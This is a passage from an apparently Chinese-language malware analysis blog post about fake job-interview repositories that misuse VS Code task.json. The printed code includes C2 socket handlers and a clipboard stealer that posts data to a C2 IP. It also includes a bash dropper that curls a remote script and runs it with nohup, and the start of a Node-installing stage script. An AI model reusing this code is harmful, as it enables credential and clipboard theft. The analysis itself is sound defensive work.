class="punctuation">: </span>&lt;timestamp&gt;</span><br><span class="line"><span class="attribute">hostname</span><span class="punctuation">: </span>&lt;hostname&gt;</span><br><span class="line"><span class="attribute">path</span><span class="punctuation">: </span>&lt;filepath_urlencoded&gt;</span><br><span class="line"><span class="attribute">filename</span><span class="punctuation">: </span>&lt;filename&gt;</span><br><span class="line"><span class="attribute">timestamp</span><span class="punctuation">: </span>&lt;timestamp&gt;</span><br><span class="line"></span><br><span class="line"><span class="language-angelscript"><span class="string">[file content]</span></span></span><br></pre></td></tr></table></figure><h5 id="disconnet"><a href="#disconnet" class="headerlink" title="disconnet"></a>disconnet</h5><p>收到斷線後輸出文字</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">socket.<span class="title function_">on</span>(<span class="string">&quot;disconnect&quot;</span>, <span class="function">() =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;⚠️ Disconnected from socket server&quot;</span>);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h5 id="reconnect-processStatus"><a href="#reconnect-processStatus" class="headerlink" title="reconnect&#x2F;processStatus"></a>reconnect&#x2F;processStatus</h5><p>收到 reconnect event 後回傳目前三個模組的狀態</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line">socket.<span class="title function_">on</span>(<span class="string">&quot;reconnect&quot;</span>, <span class="function">(<span class="params">attemptNumber</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(</span><br><span class="line">    <span class="string">&quot;✅ Reconnected to socket server (attempt &quot;</span> + attemptNumber + <span class="string">&quot;)&quot;</span>,</span><br><span class="line">  );</span><br><span class="line">  <span class="keyword">const</span> status = <span class="title function_">checkProcessStatus</span>();</span><br><span class="line">  socket.<span class="title function_">emit</span>(<span class="string">&quot;processStatus&quot;</span>, status);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="built_in">setInterval</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">if</span> (socket.<span class="property">connected</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> status = <span class="title function_">checkProcessStatus</span>();</span><br><span class="line">    socket.<span class="title function_">emit</span>(<span class="string">&quot;processStatus&quot;</span>, status);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;, <span class="number">10000</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> <span class="title function_">checkProcessStatus</span> = (<span class="params"></span>) =&gt; &#123;</span><br><span class="line">  <span class="keyword">const</span> path = <span class="built_in">require</span>(<span class="string">&quot;path&quot;</span>);</span><br><span class="line">  <span class="keyword">const</span> os = <span class="built_in">require</span>(<span class="string">&quot;os&quot;</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> lockFiles = [</span><br><span class="line">    &#123; <span class="attr">type</span>: <span class="string">&quot;ldbScript&quot;</span>, <span class="attr">file</span>: path.<span class="title function_">join</span>(os.<span class="title function_">tmpdir</span>(), <span class="string">`pid.<span class="subst">$&#123;t&#125;</span>.1.lock`</span>) &#125;,</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="attr">type</span>: <span class="string">&quot;autoUploadScript&quot;</span>,</span><br><span class="line">      <span class="attr">file</span>: path.<span class="title function_">join</span>(os.<span class="title function_">tmpdir</span>(), <span class="string">`pid.<span class="subst">$&#123;t&#125;</span>.2.lock`</span>),</span><br><span class="line">    &#125;,</span><br><span class="line">    &#123; <span class="attr">type</span>: <span class="string">&quot;socketScript&quot;</span>, <span class="attr">file</span>: path.<span class="title function_">join</span>(os.<span class="title function_">tmpdir</span>(), <span class="string">`pid.<span class="subst">$&#123;t&#125;</span>.3.lock`</span>) &#125;,</span><br><span class="line">  ];</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> status = &#123;</span><br><span class="line">    <span class="attr">ldbScript</span>: <span class="literal">false</span>,</span><br><span class="line">    <span class="attr">autoUploadScript</span>: <span class="literal">false</span>,</span><br><span class="line">    <span class="attr">socketScript</span>: <span class="literal">false</span>,</span><br><span class="line">  &#125;;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">const</span> lockFile <span class="keyword">of</span> lockFiles) &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      <span class="keyword">if</span> (fs.<span class="title function_">existsSync</span>(lockFile.<span class="property">file</span>)) &#123;</span><br><span class="line">        <span class="keyword">const</span> lockData = <span class="title class_">JSON</span>.<span class="title function_">parse</span>(fs.<span class="title function_">readFileSync</span>(lockFile.<span class="property">file</span>, <span class="string">&quot;utf8&quot;</span>));</span><br><span class="line">        <span class="keyword">const</span> pid = lockData.<span class="property">pid</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">          process.<span class="title function_">kill</span>(pid, <span class="number">0</span>);</span><br><span class="line">          status[lockFile.<span class="property">type</span>] = <span class="literal">true</span>;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (checkError) &#123;</span><br><span class="line">          <span class="keyword">try</span> &#123;</span><br><span class="line">            fs.<span class="title function_">unlinkSync</span>(lockFile.<span class="property">file</span>);</span><br><span class="line">          &#125; <span class="keyword">catch</span> (e) &#123;&#125;</span><br><span class="line">          status[lockFile.<span class="property">type</span>] = <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (e) &#123;</span><br><span class="line">      status[lockFile.<span class="property">type</span>] = <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> status;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><h5 id="processControl"><a href="#processControl" class="headerlink" title="processControl"></a>processControl</h5><p>控制三個模組 Process ，可以進行開啟或關閉</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">socket.<span class="title function_">on</span>(<span class="string">&quot;processControl&quot;</span>, <span class="function">(<span class="params">data</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123; scriptType, action &#125; = data;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (action === <span class="string">&quot;stop&quot;</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> lockFileMap = &#123;</span><br><span class="line">        <span class="attr">ldbScript</span>: path.<span class="title function_">join</span>(os.<span class="title function_">tmpdir</span>(), <span class="string">`pid.&lt;t&gt;.1.lock`</span>),</span><br><span class="line">        <span class="attr">autoUploadScript</span>: path.<span class="title function_">join</span>(os.<span class="title function_">tmpdir</span>(), <span class="string">`pid.&lt;t&gt;.2.lock`</span>),</span><br><span class="line">        <span class="attr">socketScript</span>: path.<span class="title function_">join</span>(os.<span class="title function_">tmpdir</span>(), <span class="string">`pid.&lt;t&gt;.3.lock`</span>),</span><br><span class="line">      &#125;;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">const</span> lockFilePath = lockFileMap[scriptType];</span><br><span class="line">      <span class="keyword">if</span> (lockFilePath &amp;&amp; fs.<span class="title function_">existsSync</span>(lockFilePath)) &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">          <span class="keyword">const</span> lockData = <span class="title class_">JSON</span>.<span class="title function_">parse</span>(fs.<span class="title function_">readFileSync</span>(lockFilePath, <span class="string">&quot;utf8&quot;</span>));</span><br><span class="line">          <span class="keyword">const</span> pid = lockData.<span class="property">pid</span>;</span><br><span class="line">          <span class="keyword">try</span> &#123;</span><br><span class="line">            process.<span class="title function_">kill</span>(pid, <span class="string">&quot;SIGTERM&quot;</span>);</span><br><span class="line">            <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">              <span class="keyword">try</span> &#123;</span><br><span class="line">                process.<span class="title function_">kill</span>(pid, <span class="number">0</span>);</span><br><span class="line">                process.<span class="title function_">kill</span>(pid, <span class="string">&quot;SIGKILL&quot;</span>);</span><br><span class="line">              &#125; <span class="keyword">catch</span> (e) &#123;&#125;</span><br><span class="line">            &#125;, <span class="number">1000</span>);</span><br><span class="line">            fs.<span class="title function_">unlinkSync</span>(lockFilePath);</span><br><span class="line">            <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`Stopped <span class="subst">$&#123;scriptType&#125;</span> (PID: <span class="subst">$&#123;pid&#125;</span>)`</span>);</span><br><span class="line">          &#125; <span class="keyword">catch</span> (killError) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">              fs.<span class="title function_">unlinkSync</span>(lockFilePath);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (e) &#123;&#125;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (e) &#123;</span><br><span class="line">          <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">`Error stopping <span class="subst">$&#123;scriptType&#125;</span>:`</span>, e.<span class="property">message</span>);</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (action === <span class="string">&quot;start&quot;</span>) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">log</span>(</span><br><span class="line">        <span class="string">`Start command received for <span class="subst">$&#123;scriptType&#125;</span> - manual start required`</span>,</span><br><span class="line">      );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">      <span class="keyword">const</span> status = <span class="title function_">checkProcessStatus</span>();</span><br><span class="line">      socket.<span class="title function_">emit</span>(<span class="string">&quot;processStatus&quot;</span>, status);</span><br><span class="line">    &#125;, <span class="number">500</span>);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (error) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&quot;Error handling process control:&quot;</span>, error);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>另外他會拿剪貼簿的內容，並上傳到 <code>http://144.172.107[.]191:8087/api/log</code></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">watchClipboard</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> content = <span class="title function_">getClipboardContent</span>(); <span class="comment">// pbpaste / xclip / PowerShell</span></span><br><span class="line">    <span class="keyword">if</span> (content !== lastContent) &#123;</span><br><span class="line">      <span class="keyword">await</span> <span class="title function_">sendLog</span>(content);</span><br><span class="line">      lastContent = content;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">await</span> <span class="title function_">sleep</span>(<span class="number">1000</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>HTTP POST 請求為</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/api/log</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>144.172.107[.]191:8087</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line"></span><br><span class="line"><span class="language-arcade">&#123;</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;ukey&quot;</span>: <span class="number">101</span>,</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;t&quot;</span>: &lt;<span class="built_in">timestamp</span>&gt;,</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;host&quot;</span>: <span class="string">&quot;101_&lt;hostname&gt;&quot;</span>,</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;os&quot;</span>: <span class="string">&quot;&lt;os_type&gt; &lt;os_release&gt;&quot;</span>,</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;username&quot;</span>: <span class="string">&quot;&lt;username&gt;&quot;</span>,</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;message&quot;</span>: <span class="string">&quot;&lt;剪貼簿內容&gt;&quot;</span>,</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;level&quot;</span>: <span class="string">&quot;info&quot;</span>,</span></span><br><span class="line"><span class="language-arcade">  <span class="string">&quot;data&quot;</span>: &#123;&#125;</span></span><br><span class="line"><span class="language-arcade">&#125;</span></span><br></pre></td></tr></table></figure><p>到這邊 Sample 1 的大致執行流程就結束了，總結一下 Sample 1 會做的事情</p><ul><li>初始讓使用者用vscode 相關 editer 透過 task.json 請求惡意檔案</li><li>再通過多層 dropper 下載惡意檔案</li><li>這類的 Sample 的javascript 的檔案大小會特別的大，會在混淆過後的 Javascrpt 中執行主要的惡意行爲<ul><li>竊取使用者瀏覽器、錢包、機密檔案資料</li><li>建立 C2 連線，利用web socket 下達指令</li><li>C2 : <code>144.172.107[.]191</code></li></ul></li></ul><p>此惡意程式相關報告有</p><ul><li><a href="https://gist.github.com/compustar/035b9417a07ae9c60c717eb38f7d0eaa">https://gist.github.com/compustar/035b9417a07ae9c60c717eb38f7d0eaa</a><ul><li>這邊報告是在分析這篇分析的是<code>megaorg996/tokentradingdapp </code>已經不見但是是Thread 文章最相關的 (megaorg995)，猜測為為Sample 1 變體</li><li>C2 : <code>144.172.105[.]122</code></li><li><code>144.172.105[.]122</code> 可以根據 <a href="https://raw.githubusercontent.com/stamparm/maltrail/master/trails/static/malware/apt_lazarus.txt">https://raw.githubusercontent.com/stamparm/maltrail/master/trails/static/malware/apt_lazarus.txt</a> ，知道說是 Lazarus 使用</li></ul></li></ul><p>變體：</p><ul><li><code>https://github[.]com/0x003-copia/Copia-nft_metaverse_game_platform</code><ul><li>增加了 anti debugger</li></ul></li></ul><hr><h3 id="Sample-2"><a href="#Sample-2" class="headerlink" title="Sample 2"></a>Sample 2</h3><blockquote><p>最初分析的是 <code>IvanJoseph103/Token-Presale-dApp</code> ，不過他已經消失了，並且在test.json 訪問<code>https://vscode-project-setting.vercel[.]app/task/mac?token=812</code> 以及其他架在vercel 也已無法使用，會顯示 This content has been blocked for legal reasons，但是除了架在 vercal 的服務之外都還是活著的，並且有許多相關的 sample 的行為皆類似，因此還是分享分析過程。</p></blockquote><p>網址：<code>https://github[.]com/IvanJoseph103/Token-Presale-dApp/tree/main</code></p><p>創建時間：<code>2025/09/24</code></p><p>相關的sample</p><ul><li><code>https://github[.]com/whoisasx/Elo-assignment/tree/main</code></li></ul><p>這類的 Sample 在 task.json 時在 github 上看第一眼看會不知道執行了什麼，但是如果將頁面往右滑，就會發現…</p><img src="/assets/LinkedinTask.gif" style="zoom:50%;" /><p>訪問後特別的是會進行 JWT token 的驗證，並且JWT token 的有效時間非常短，因此會需要寫腳本快速抓取惡意程式</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="built_in">set</span> -e</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;Authenticated&quot;</span></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">&quot;<span class="variable">$HOME</span>/Documents&quot;</span></span><br><span class="line">clear</span><br><span class="line">curl -s -L -o <span class="string">&quot;<span class="variable">$HOME</span>/Documents/tokenlinux.sh&quot;</span> <span class="string">&quot;http://vscode-project-setting.vercel.app/task/tokenlinux?token=812&amp;st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6IjEuMTcyLjg2LjI0NSIsInNlc3Npb25JZCI6IjE5MWEzMWZiLWU4MjYtNDgwMC04M2IzLWJjNmYxMDMxZTZiYiIsInN0ZXAiOjEsInRpbWVzdGFtcCI6MTc2ODcyMTE5Njc3Mywib3JpZ1Rva2VuIjoiODEyIiwiaWF0IjoxNzY4NzIxMTk2LCJleHAiOjE3Njg3MjEzNzZ9.0YjYBtLmI5RcsmKW33fvKEZYER1Zv2jqcAb57q4TfWo&quot;</span></span><br><span class="line">clear</span><br><span class="line"><span class="built_in">chmod</span> +x <span class="string">&quot;<span class="variable">$HOME</span>/Documents/tokenlinux.sh&quot;</span></span><br><span class="line">clear</span><br><span class="line"><span class="built_in">nohup</span> bash <span class="string">&quot;<span class="variable">$HOME</span>/Documents/tokenlinux.sh&quot;</span> &gt; /dev/null 2&gt;&amp;1 &amp;</span><br><span class="line">clear</span><br><span class="line"><span class="built_in">exit</span> 0</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#tokenlinux.sh</span></span><br><span class="line"><span class="comment">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Creating new Info</span></span><br><span class="line"><span class="built_in">set</span> -e</span><br><span class="line"></span><br><span class="line">OS=$(<span class="built_in">uname</span> -s)</span><br><span class="line"><span class="comment"># Node.js Version</span></span><br><span class="line"><span class="comment"># Get latest Node.js version (from official JSON index)</span></span><br><span class="line"><span class="comment"># LATEST_VERSION=&quot;20.11.1&quot;</span></span><br><span class="line"><span class="comment"># if [ &quot;$OS&quot; == &quot;Darwin&quot; ]; then</span></span><br><span class="line"><span class="comment">#     # macOS</span></span><br><span class="line"><span class="comment">#    #     LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json \</span></span><br><span class="line"><span class="comment">#    #     | grep -Eo &#x27;&quot;version&quot;: *&quot;v[0-9]+\.[0-9]+\.[0-9]+&quot;&#x27; \</span></span><br><span class="line"><span class="comment">#    #     | head -1 \</span></span><br><span class="line"><span class="comment">#    #     | sed -E &#x27;s/.*&quot;v([^&quot;]+)&quot;.*/v\1/&#x27;)</span></span><br><span class="line"><span class="comment">#         LATEST_VERSION=&quot;20.11.1&quot;</span></span><br><span class="line"><span class="comment"># elif [ &quot;$OS&quot; == &quot;Linux&quot; ]; then</span></span><br><span class="line"><span class="comment">#     # Linux</span></span><br><span class="line"><span class="comment">#     LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -oP &#x27;&quot;version&quot;:\s*&quot;\Kv[0-9]+\.[0-9]+\.[0-9]+&#x27; | head -1)</span></span><br><span class="line"><span class="comment"># else</span></span><br><span class="line"><span class="comment">#     exit 1</span></span><br><span class="line"><span class="comment"># fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Remove leading &quot;v&quot;</span></span><br><span class="line">LATEST_VERSION=<span class="string">&quot;20.11.1&quot;</span></span><br><span class="line">NODE_VERSION=<span class="variable">$&#123;LATEST_VERSION&#125;</span></span><br><span class="line"></span><br><span class="line">NODE_TARBALL=<span class="string">&quot;node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>&quot;</span></span><br><span class="line">DOWNLOAD_URL=<span class="string">&quot;&quot;</span></span><br><span class="line">NODE_DIR=<span class="string">&quot;<span class="variable">$HOME</span>/Documents/<span class="variable">$&#123;NODE_TARBALL&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Determine the OS (Linux or macOS)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 1: Set the Node.js tarball and download URL based on the OS</span></span><br><span class="line"><span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> == <span class="string">&quot;Darwin&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">   <span class="comment"># macOS</span></span><br><span class="line">   NODE_TARBALL=<span class="string">&quot;<span class="variable">$HOME</span>/Documents/<span class="variable">$&#123;NODE_TARBALL&#125;</span>-darwin-x64.tar.xz&quot;</span></span><br><span class="line">   DOWNLOAD_URL=<span class="string">&quot;https://nodejs.org/dist/v<span class="variable">$&#123;NODE_VERSION&#125;</span>/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-darwin-x64.tar.xz&quot;</span></span><br><span class="line"><span class="keyword">elif</span> [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> == <span class="string">&quot;Linux&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">   <span class="comment"># Linux</span></span><br><span class="line">   NODE_TARBALL=<span class="string">&quot;<span class="variable">$HOME</span>/Documents/<span class="variable">$&#123;NODE_TARBALL&#125;</span>-linux-x64.tar.xz&quot;</span></span><br><span class="line">   DOWNLOAD_URL=<span class="string">&quot;https://nodejs.org/dist/v<span class="variable">$&#123;NODE_VERSION&#125;</span>/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-linux-x64.tar.xz&quot;</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">   <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 2: Check if Node.js is installed</span></span><br><span class="line">NODE_INSTALLED_VERSION=$(node -v 2&gt;/dev/null || <span class="built_in">echo</span> <span class="string">&quot;&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 3: Determine whether to install Node.js</span></span><br><span class="line">INSTALL_NODE=1</span><br><span class="line"><span class="comment">#if [ -z &quot;$NODE_INSTALLED_VERSION&quot; ]; then</span></span><br><span class="line"><span class="comment">#    INSTALL_NODE=1</span></span><br><span class="line"><span class="comment">#fi</span></span><br><span class="line"></span><br><span class="line">EXTRACTED_DIR=<span class="string">&quot;<span class="variable">$HOME</span>/Documents/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-<span class="subst">$( [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> = <span class="string">&quot;Darwin&quot;</span> ] &amp;&amp; echo <span class="string">&quot;darwin&quot;</span> || echo <span class="string">&quot;linux&quot;</span> )</span>-x64&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ✅ Check if the Node.js folder exists</span></span><br><span class="line"><span class="keyword">if</span> [ ! -d <span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">   <span class="built_in">echo</span> <span class="string">&quot;Error: Node.js directory was not extracted properly. Retrying download and extraction...&quot;</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$INSTALL_NODE</span>&quot;</span> -eq 1 ]; <span class="keyword">then</span></span><br><span class="line">       <span class="keyword">if</span> ! <span class="built_in">command</span> -v curl &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">           wget -q <span class="string">&quot;<span class="variable">$DOWNLOAD_URL</span>&quot;</span> -O <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span></span><br><span class="line">       <span class="keyword">else</span></span><br><span class="line">           curl -sSL -o <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span> <span class="string">&quot;<span class="variable">$DOWNLOAD_URL</span>&quot;</span></span><br><span class="line">       <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">       <span class="keyword">if</span> [ -f <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">           tar -xf <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span> -C <span class="string">&quot;<span class="variable">$HOME</span>/Documents&quot;</span></span><br><span class="line">           <span class="built_in">rm</span> -f <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span></span><br><span class="line">       <span class="keyword">fi</span></span><br><span class="line">   <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ✅ Add Node.js to the system PATH (session only)</span></span><br><span class="line"><span class="built_in">export</span> PATH=<span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>/bin:<span class="variable">$PATH</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 7: 